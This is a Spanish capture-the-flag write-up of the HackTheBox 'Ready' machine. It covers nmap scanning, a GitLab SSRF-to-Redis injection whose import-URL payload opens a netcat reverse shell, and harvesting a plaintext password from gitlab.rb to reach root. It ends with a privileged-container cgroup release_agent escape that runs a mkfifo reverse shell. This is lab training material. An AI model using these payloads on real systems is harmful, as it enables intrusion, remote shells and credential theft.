Welcome to the Ready writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Ready

tags: HTB Medium Linux
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeración

Nmap

[email protected]:/mnt/hgfs/2_MisPostsBlog/HTB/Ready$ sudo nmap -sS -p- 10.129.48.170 --open -n -T5 -oN AllPorts.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:25 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen
[email protected]:/mnt/hgfs/2_MisPostsBlog/HTB/Ready$ sudo nmap -sC -sV -p22,5080 10.129.48.170 -n -oN PortsInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:27 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snipets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.48.170:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds

Puerto 5080

img

Parece que hay un repositorio.

img

Explotación

Según la verisón de Gitlab instalada, podemos encontrar este exploit.
img

Para explotarlo hay que importar un proyecto en GitLab usando ("Import by URL"). Para ello vamos, a "Create new project/Import project /Repo by URL".

git://[0:0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf.git

img

Llenandolos formularios con los siguientes parámetros. (El project name y project slug puede variar).

Interceptamos la solicitud de crear el proyecto con burpsuite.

POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=http%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

Para explotar esta vulnerabilidad tenemos que encodear el siguiente payload en formato URL, cambiando el usuario y puerto a donde apuntará la reverse shell.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
 multi
 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc -e /bin/bash 10.10.14.147 4444\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
 exec

El resultado es el siguiente.

git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec

El payload hay que introducirlo en la vairable import_url%5D=, sobrecribiendo los valores de la URL quedando de la siguiente manera.

POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

Finalmente, ponemos un puerto a la escucha y enviamos la petición.

Post explotación

Shell upgrade

python3 -c "import pty; pty.spawn('/bin/bash')"
ctl+z
stty raw -echo
fg
reset
screen
export TERM=screen
export SHELL=/bin/bash

Enumeración

En / existe el fichero root_pass, con permisos de lectura obteniedno la siguiente contraseña.

YG65407Bjqvv9A0a8Tm_7w

Pero esta password no nos ha servido para nada, tenemos que seguir buscando...

[email protected]:/opt/backup$ grep -iRl 'password' ./ 2>/dev/null
./gitlab.rb
./docker-compose.yml
[email protected]:/opt/backup$ cat ./docker-compose.yml | grep password
        gitlab_rails['initial_root_password']=File.read('/root_pass')
[email protected]:/opt/backup$ cat ./gitlab.rb | grep password         
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

Privilege Escalation

Ahora si, con la contraseña 'smtp_password' encontrada dentro del archivo 'gitlab.rb' podemos autenticarnos como root dentro del contenedor.

[email protected]:/opt/backup$ su root
Password: wW59U!ZKMbG9+*#h
[email protected]:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/opt/backup#

Escapando del contenedor

https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1

Obtención directa de la flag

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Obtención de shell root en el host

Nota: No te olvides de cambiar la IP y el puerto

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.xx 4444 > /tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.xx] from (UNKNOWN) [10.10.10.220] 35448
/bin/sh: 0: can`t access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)